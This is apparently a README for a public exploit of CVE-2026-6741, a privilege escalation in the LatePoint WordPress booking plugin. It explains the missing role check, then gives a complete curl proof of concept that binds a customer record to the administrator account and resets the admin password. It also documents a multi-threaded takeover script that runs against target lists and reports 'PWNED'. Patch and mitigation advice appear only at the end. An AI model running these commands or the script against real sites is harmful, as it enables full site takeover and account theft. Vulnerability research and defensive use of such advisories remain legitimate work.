
CVE-2026-6741은 LatePoint – Calendar Booking Plugin에서 발생하는 CVSS 8.8(높음) 인증된(Agent+) 권한 상승 취약점입니다.
CVE-2026-6741은 LatePoint – Calendar Booking Plugin에서 발생하는 CVSS 8.8(High) 등급의 인증된(Agent+) 권한 상승 취약점입니다.
플러그인: LatePoint – Calendar Booking Plugin for Appointments and Events (
latepoint) CVE ID: CVE-2026-6741 CVSS 점수: 8.8 (High) CVSS 벡터:CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H취약점 유형: Authenticated (Agent+) Privilege Escalation → Administrator Takeover 영향받는 버전: <= 5.4.1 패치된 버전: 5.4.2 공개 날짜: 2026년 4월 27일 연구자: skyv3il (AI SAFE), Chirita Catalin-Andrei / CC99IE (UVT-CTF), AmonRa — Wordfence
latepoint_agent 역할을 가진 인증된 공격자는 임의의 LatePoint 고객(customer) 레코드를 WordPress 관리자 계정에 연결한 다음, LatePoint 자체의 비밀번호 재설정 흐름을 사용해 관리자의 비밀번호를 변경할 수 있습니다.
이로 인해 전체 사이트 탈취가 발생합니다.
LatePoint 5.3.0은 WordPress 6.9+에 도입된 Abilities API 지원을 추가했습니다. 이 API를 통해 플러그인은 REST API로 호출할 수 있는 "ability" 클래스를 등록할 수 있습니다:
// latepoint.php (5.4.1, line 907)
if ( function_exists( 'wp_register_ability' ) ) {
include_once LATEPOINT_ABSPATH . 'lib/abilities/class-latepoint-abilities.php';
}
// lib/abilities/customers/connect-customer-to-wp-user.php — line 12
protected function configure(): void {
$this->id = 'latepoint/connect-customer-to-wp-user';
$this->label = __( 'Connect customer to WP user', 'latepoint' );
$this->permission = 'customer__edit'; // ← tek kontrol: bu capability
}
Agent 역할은 기본적으로 customer__edit 권한을 보유합니다:
// lib/helpers/roles_helper.php — line 401
public static function get_default_capabilities_list_for_agent_role() {
$capabilities = [
...
'customer__edit', // ← agent bu yetkiye sahip
...
];
}
// connect-customer-to-wp-user.php — lines 39–60
public function execute( array $args ) {
$customer = new OsCustomerModel( (int) $args['customer_id'] );
$wp_user_id = (int) $args['wp_user_id'];
if ( ! get_userdata( $wp_user_id ) ) {
// Sadece kullanıcının var olup olmadığı kontrol ediliyor
// EKSIK: Hedef kullanıcının rolü kontrol edilmiyor
return new WP_Error( 'wp_user_not_found', ... );
}
$customer->wordpress_user_id = $wp_user_id; // ← herhangi WP user'a bağla
$customer->save();
return $this->serialize_customer( ... );
}
// lib/models/customer_model.php — line 315
public function update_password( $password ) {
if ( OsAuthHelper::can_wp_users_login_as_customers()
&& $this->wordpress_user_id ) {
wp_set_password( $password, $this->wordpress_user_id );
// ↑ wordpress_user_id artık admin ID'si → admin şifresi değişir
}
}
// LatePointAbstractAbility — check_permission()
public function check_permission(): bool {
return OsRolesHelper::can_user( $this->permission );
// Sadece ÇAĞIRANIN yetkisini kontrol eder
// HEDEF kullanıcının rolünü kontrol etmez
}
latepoint_agent 계정
│
▼
1. Agent로 WP에 로그인 → REST nonce 획득
│
▼
2. 대상 admin WordPress 사용자 ID 식별
(wp-json/wp/v2/users 또는 ID=1)
│
▼
3. POST /wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user
{ "customer_id": 5, "wp_user_id": 1 }
→ 역할 검사 없음 → 성공
│
▼
4. LatePoint forgot_password → 고객 이메일로 reset token 전송
│
▼
5. Token으로 change_password → update_password() 호출
→ wp_set_password("Hacked!", 1)
→ 관리자 비밀번호 변경됨
│
▼
6. 새 비밀번호로 admin 로그인 → 전체 사이트 제어 ✓
⚠️ 면책 고지: 이 PoC는 교육 및 방어적 보안 연구 목적으로만 제공됩니다.
전제 조건:
latepoint_agent 역할을 가진 계정WP_URL="https://target.example.com"
AGENT_USER="agent_user"
AGENT_PASS="agent_password"
# Cookie tabanlı oturum aç
curl -c cookies.txt -b cookies.txt -s -X POST "$WP_URL/wp-login.php" \
-d "log=$AGENT_USER&pwd=$AGENT_PASS&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
-H "Cookie: wordpress_test_cookie=WP+Cookie+check"
# REST nonce al
NONCE=$(curl -s -b cookies.txt \
"$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")
echo "Nonce: $NONCE"
# REST API ile admin kullanıcıları listele
curl -s "$WP_URL/wp-json/wp/v2/users?roles=administrator" \
-H "X-WP-Nonce: $NONCE" | python3 -m json.tool
ADMIN_WP_USER_ID=1 # Genellikle ID=1
CUSTOMER_ID=5 # Kontrol ettiğin LatePoint customer ID
curl -s -b cookies.txt -X POST \
"$WP_URL/wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user" \
-H "Content-Type: application/json" \
-H "X-WP-Nonce: $NONCE" \
-d "{\"customer_id\": $CUSTOMER_ID, \"wp_user_id\": $ADMIN_WP_USER_ID}"
예상 응답:
{
"id": 5,
"wp_user_id": 1,
"email": "[email protected]"
}
CUSTOMER_EMAIL="[email protected]"
curl -s -X POST \
"$WP_URL/?latepoint_route=customer_cabinet%2Fforgot_password" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "password_reset_email=$CUSTOMER_EMAIL"
LatePoint는 $CUSTOMER_EMAIL 주소로 account_nonce 토큰이 포함된 재설정 이메일을 전송합니다.
RESET_TOKEN="<emailden_alinan_token>"
NEW_PASSWORD="Attacker_Password123!"
curl -s -X POST \
"$WP_URL/?latepoint_route=customer_cabinet%2Fchange_password" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "password_reset_token=$RESET_TOKEN&password=$NEW_PASSWORD&password_confirmation=$NEW_PASSWORD"
이 호출은 update_password() → wp_set_password($NEW_PASSWORD, 1) 체인을 트리거합니다. 관리자 비밀번호가 변경되었습니다.
curl -c admin_cookies.txt -b admin_cookies.txt -s -X POST \
"$WP_URL/wp-login.php" \
-d "log=admin&pwd=$NEW_PASSWORD&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
-H "Cookie: wordpress_test_cookie=WP+Cookie+check"
# wp-admin erişimi
curl -b admin_cookies.txt "$WP_URL/wp-admin/user-new.php"
# Beklenen: 200 OK (wp-login.php'ye yönlendirme değil)
# REST API ile rol doğrulama
ADMIN_NONCE=$(curl -s -b admin_cookies.txt \
"$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")
curl -s "$WP_URL/wp-json/wp/v2/users/me" \
-H "X-WP-Nonce: $ADMIN_NONCE" | python3 -m json.tool
# Beklenen: "roles": ["administrator"]
git clone https://github.com/kullanici/cve-2026-6741-scanner
cd cve-2026-6741-scanner
pip install -r requirements.txt
requirements.txt
requests
python latepoint_privesc.py -u http://hedef.com \
--agent-user agent1 --agent-pass Pass123!
python latepoint_privesc.py -u http://hedef.com \
--agent-user agent1 --agent-pass Pass123! \
--admin-id 1 \
--customer-id 5 \
--customer-email [email protected]
python latepoint_privesc.py -u http://hedef.com \
--agent-user agent1 --agent-pass Pass123! \
--admin-id 1 \
--customer-id 5 \
--customer-email [email protected] \
--reset-token abc123xyz \
--new-password Hacked_2026!
python latepoint_privesc.py -l targets.txt -t 10 \
--agent-user agent1 --agent-pass Pass123! \
-o sonuclar.txt
python latepoint_privesc.py -u http://hedef.com \
--agent-user agent1 --agent-pass Pass123! \
--proxy http://127.0.0.1:8080
| 매개변수 | 설명 |
|---|---|
--agent-user | Agent 사용자 이름 (필수) |
--agent-pass | Agent 비밀번호 (필수) |
| 매개변수 | 설명 | 기본값 |
|---|---|---|
--admin-id | 대상 admin WP 사용자 ID | 자동 감지 |
| 매개변수 | 설명 | 기본값 |
|---|---|---|
--reset-token | 이메일에서 받은 reset token | — |
--new-password | 새 admin 비밀번호 | Pwned_CVE2026_6741! |
[*] 대상 : http://hedef.com
[*] Agent : agent1
[*] Admin ID : 자동 감지
[*] Customer ID : 자동 감지
[*] Reset Token : 이메일 대기 중
[*] 새 비밀번호 : Pwned_CVE2026_6741!
[→] http://hedef.com 단계 1/6: Agent 로그인...
[→] http://hedef.com 단계 2/6: Admin 사용자 ID 식별...
[→] http://hedef.com 단계 3/6: Customer ID 식별...
[→] http://hedef.com 단계 4/6: Customer #5 → Admin #1 연결 중...
[→] http://hedef.com 단계 5/6: 비밀번호 재설정 시작 중...
[→] http://hedef.com 단계 6/6: 비밀번호 변경 중 (수동 토큰)...
════════════════════════════════════════════════════════════
[★ PWNED ] http://hedef.com
버전 : 5.4.1
Admin ID : 1
Customer : #5 <[email protected]>
사용자 : admin roles=['administrator']
════════════════════════════════════════════════════════════
[+] 저장됨 → privesc_results.txt
┌─────────────────────────────────────────────────────────┐
│ 1단계 — 연결 + 재설정 이메일 전송 │
│ │
│ python latepoint_privesc.py -u http://hedef.com \ │
│ --agent-user agent1 --agent-pass Pass123! \ │
│ --customer-id 5 --customer-email [email protected] │
│ │
│ → 출력: "재설정 이메일 전송됨 — 토큰 대기 중" │
└─────────────────────────┬───────────────────────────────┘
│
이메일에서 토큰 획득
│
┌─────────────────────────▼───────────────────────────────┐
│ 2단계 — 토큰으로 비밀번호 변경 │
│ │
│ python latepoint_privesc.py -u http://hedef.com \ │
│ --agent-user agent1 --agent-pass Pass123! \ │
│ --customer-id 5 --customer-email [email protected] \ │
│ --reset-token abc123xyz \ │
│ --new-password Hacked_2026! │
│ │
│ → 출력: ★ PWNED — roles=['administrator'] │
└─────────────────────────────────────────────────────────┘
안전한 execute() 예시:
// Güvensiz (mevcut — 5.4.1)
if ( ! get_userdata( $wp_user_id ) ) {
return new WP_Error( 'wp_user_not_found', ... );
}
// Güvenli (önerilen — 5.4.2+)
$target_user = get_userdata( $wp_user_id );
if ( ! $target_user ) {
return new WP_Error( 'wp_user_not_found', ... );
}
// Hedef kullanıcının rolünü kontrol et
if ( in_array( 'administrator', (array) $target_user->roles ) ) {
return new WP_Error( 'forbidden', 'Cannot link customer to administrator.' );
}
cve-2026-6741-scanner/
├── latepoint_privesc.py # 메인 스캐너
├── requirements.txt # 의존성
└── README.md # 이 파일
이 도구와 PoC는 승인된 시스템에서, 교육 목적 및 침투 테스트 범위 내에서만 사용하도록 제작되었습니다. 허가되지 않은 시스템에서의 사용은 터키 형법(Türk Ceza Kanunu) 제243-245조 및 국제 사이버 범죄 법률에 따라 범죄 행위에 해당합니다. 개발자는 도구의 오용으로 인해 발생하는 어떠한 법적 책임도 지지 않습니다.
MIT License — 교육 및 연구 목적으로만 사용할 수 있습니다.
| 필드 | 값 |
|---|
| 플러그인 이름 | LatePoint – Calendar Booking Plugin |
| 플러그인 슬러그 | latepoint |
| CVE ID | CVE-2026-6741 |
| CVSS 점수 | 8.8 (High) |
| 취약점 유형 | Authenticated (Agent+) Privilege Escalation |
| 영향받는 버전 | <= 5.4.1 |
| 패치된 버전 | 5.4.2 |
| 요구 사항 | latepoint_agent 역할, WordPress 6.9+ |
| 매개변수 | 약어 | 설명 | 기본값 |
|---|
--url | -u | 단일 대상 URL | — |
--list | -l | 대상 목록 파일 | — |
--threads | -t | 스레드 수 | 5 |
--output | -o | 출력 파일 | privesc_results.txt |
--proxy | — | 프록시 URL | — |
--timeout | — | 요청 타임아웃(초) | 10 |
--force | — | Abilities API 감지 실패 시에도 계속 진행 | False |
--customer-id |
| 공격자가 제어하는 LatePoint customer ID |
| 자동 감지 |
--customer-email | LatePoint customer 이메일 주소 | agent 이메일 |
| 상태 | 설명 |
|---|
★ PWNED | Admin 비밀번호 변경됨, 로그인 성공 |
~ RESET_SENT | 재설정 이메일 전송됨 — 토큰 대기 중 |
~ PWD_CHANGE | 비밀번호 변경됨 — admin 로그인을 수동으로 확인 |
- LINK_FAIL | Customer-Admin 연결 실패 |
- LOGIN_FAIL | Agent 로그인 실패 |
- NO_PLUGIN | LatePoint가 설치되지 않음 |
- NO_ABILITY | Abilities API 비활성화됨 (WP 6.9+ 필요) |
~ NO_CUST | Customer ID를 찾을 수 없음 — 수동으로 지정 |
~ UNREACH | 대상에 연결할 수 없음 |
| 예방 조치 | 적용 |
|---|
| 플러그인 업데이트 | LatePoint 5.4.2+ 버전으로 업그레이드 |
| 역할 검사 추가 | execute() 내에서 대상 사용자의 역할 검증 |
| Abilities API 제한 | Agent 역할에서 connect-customer-to-wp-user 권한 제거 |
| 비밀번호 재설정 보호 | Admin 계정에 대해 LatePoint 재설정 흐름 비활성화 |
| WP 6.9 Abilities 감사 | 등록된 ability를 정기적으로 검토 |